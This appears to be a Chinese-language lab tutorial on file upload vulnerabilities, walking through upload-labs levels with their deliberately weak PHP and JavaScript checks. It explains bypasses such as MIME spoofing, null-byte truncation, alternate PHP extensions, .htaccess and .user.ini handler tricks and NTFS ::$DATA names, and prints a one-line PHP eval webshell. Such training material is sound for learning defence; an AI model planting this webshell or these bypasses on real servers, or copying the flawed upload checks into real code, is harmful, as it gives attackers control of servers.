1. 漏洞逻辑
简单说,就是网站允许你上传文件(比如头像、附件),但没把门看好。 逻辑是这样的:用户上传 -> 服务器校验(如果不严) -> 保存 -> 用户访问 -> 代码执行 。一旦你成功上传了一个 .php 文件(或者其他能被解析的脚本),并且知道了它的路径,恭喜你,这台服务器就是你的了 。
2. 绕过技巧
2.1 客户端检测(JS 绕过)
对靶场Uploads- labs(Pass-01)的源码分析
javascript
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
看的出这关是利用前端的JS脚本检测,我们可以直接禁用JS。直接在F12里,然后按F1,找到禁用JS
然后我们就可以上传一句话木马
php
<?php
eval($_POST["cmd"]);
?>
后续再用蚁剑链接即可。
当然这个关卡也可以修改后缀来绕过。通过分析源码,ta只允许.jpg|.png|.gif 中的一个文件类型。那我们先讲木马文件后缀改成合法的类型比如.jpg,再通过burpsuite抓包,在请求包中再修改为.php即可。这里就不再演示了。
2.2 MIME绕过
什么是 MIME 类型?
在 Windows 电脑里,系统是靠文件后缀名 (比如 .txt, .jpg, .exe)来区分文件类型的。 但是在网络传输(比如浏览器和服务器之间)中,它们更认这个 MIME 类型 。后缀名 :是给人 和操作系统 看的。MIME :是给浏览器 和服务器看的。举几个常见的例子:
-
text/html:告诉浏览器,"我是个网页,请把我不带格式地渲染出来"。 -
image/jpeg:告诉浏览器,"我是张图片,请把我画出来"。 -
application/json:告诉程序,"我是数据,请把我解析成对象"。 -
application/octet-stream:这是个万金油,意思是"我就是一堆二进制数据",通常浏览器看到这个就会弹窗让你下载文件。
我们看一下第二关Pass-02
javascript
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
通过分析这关源码,我们可以看到他限制了$_FILES['upload_file']['type']字段。所以当我们上传shell.php时,我们需要用BurpSuite抓包,修改请求包中的字段,改成合法的字段比如image/png。

2.3 00截断绕过
由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0作为字符串的结尾,所 以\0也被称为"字符串结束标志"或者"字符串结束符"。操作系统在识别字符串时,当读取到\0字符时,就 认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符 串截断的目的。 \0 是ASCII码表中的第0个字符(即ASCII码为0的字符),英文称为NUL,中文称为"空字符"。
举个例子:你把文件名改成:shell.php%00.jpg
-
过安检(WAF/后端代码检测): 程序从后往前读,看到
.jpg。- 程序说:"嗯,后缀是
.jpg,这是张图片,允许上传。"
- 程序说:"嗯,后缀是
-
落地执行(保存文件): 程序调用底层的
save_file("shell.php%00.jpg")函数去保存文件。-
底层操作系统接管,读文件名:
s...h...e...l...l.......p...h...p...【遇到00,停止!】 -
后面的
.jpg直接被扔掉了。 -
最终保存的文件名是:
shell.php
-
2.4 服务端黑名单绕过
服务端黑名单是一种安全保护机制,ta会明确禁止某些已知的危险元素
我们看一下第三关Pass-03
javascript
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
该源码把以'.asp','.aspx','.php','.jsp' 为后缀的文件禁止上传。但是除了这些常见的扩展名以外,服务器还会把 .phtml | .phps | .php5 | .pht 等这些扩展名依旧识别为PHP脚本并执行。
所以这关只要把你上传的shell文件后缀名,改为其中一个比如.phtml就可以了
2.5 .htaccess文件绕过
javascript
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这是Pass-04的源码,我们可以看到服务端黑名单几乎把把后缀锁死了,但是没有过滤掉.htaccess文件,我们这个可以上传一个.htaccess,其内容如下:
javascript
<FilesMatch "a.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
该文件是告诉apache将a.jpg当作PHP文件来处理,随后我们就可以上传a.jpg文件,文件内容写入我们的shell代码,就可以利用漏洞了。
2.6 .user.ini文件绕过
在Pass-05中的源码我们发现,他把上一关我们使用的.htaccess也给禁用了。.user.ini没有被禁用,ta和.htaccess一样都是目录的配置文件,我们可以利用.user.ini来绕过。
在.user.ini中写入:
javascript
auto_prepend_file=a.jpg
该意思是,该目录下的所有.php文件都包含a.jpg文件。这样的话我们只要将shell代码写入a.jpg再上传。同时该关卡提示到:上传目录存在php文件(readme.php)。这样我们只要访问redme.php就能执行我们的a.jpg中的shell代码了!
2.7 大小写绕过
这个方法就很熟悉了,我们之前XSS攻击也经常用到。在Pass-06中的源码,虽然设置了黑名单对常见的后缀名进行过滤,但是并没有用strtolower()函数将大小写统一转化成小写的步骤,所以文件后缀名使用大小写即可绕过,例如:.PHp。
2.8 空格绕过
javascript
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
在Pass-07中的源码我们发现,在将::DATA去除完后,没有使用trim(file_ext)删除空白。在Windows系统下尝试保存shell.php 如果后面有空格会去掉。那我们运用这个特性,可以先上传shell.php随后抓包,在请求包中把文件名改为"shell.php " .
2.9 ::$DATA绕过
::$DATA 是 NTFS 里的默认数据流 。正常文件名叫 index.php,但在 Windows NTFS 眼里,这个文件的全名其实是 index.php::$DATA。Windows 操作系统认识它,但是PHP 代码里的很多过滤函数(或者 WAF)不认识它。因此我们可以使用这个特性去绕过。
javascript
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
在Pass-09中的源码中,我们看到他少了一段取掉::DATA的操作。因此我们在上传shell.php抓包后,修改文件名为shell.php::DATA。就可以成功绕过了。
关于文件上传漏洞绕过的方法还有很多,暂时这里先写这么多了。大家也可以多去upload-labs靶场多去练习。
3. 下图是总结的文件上传绕过
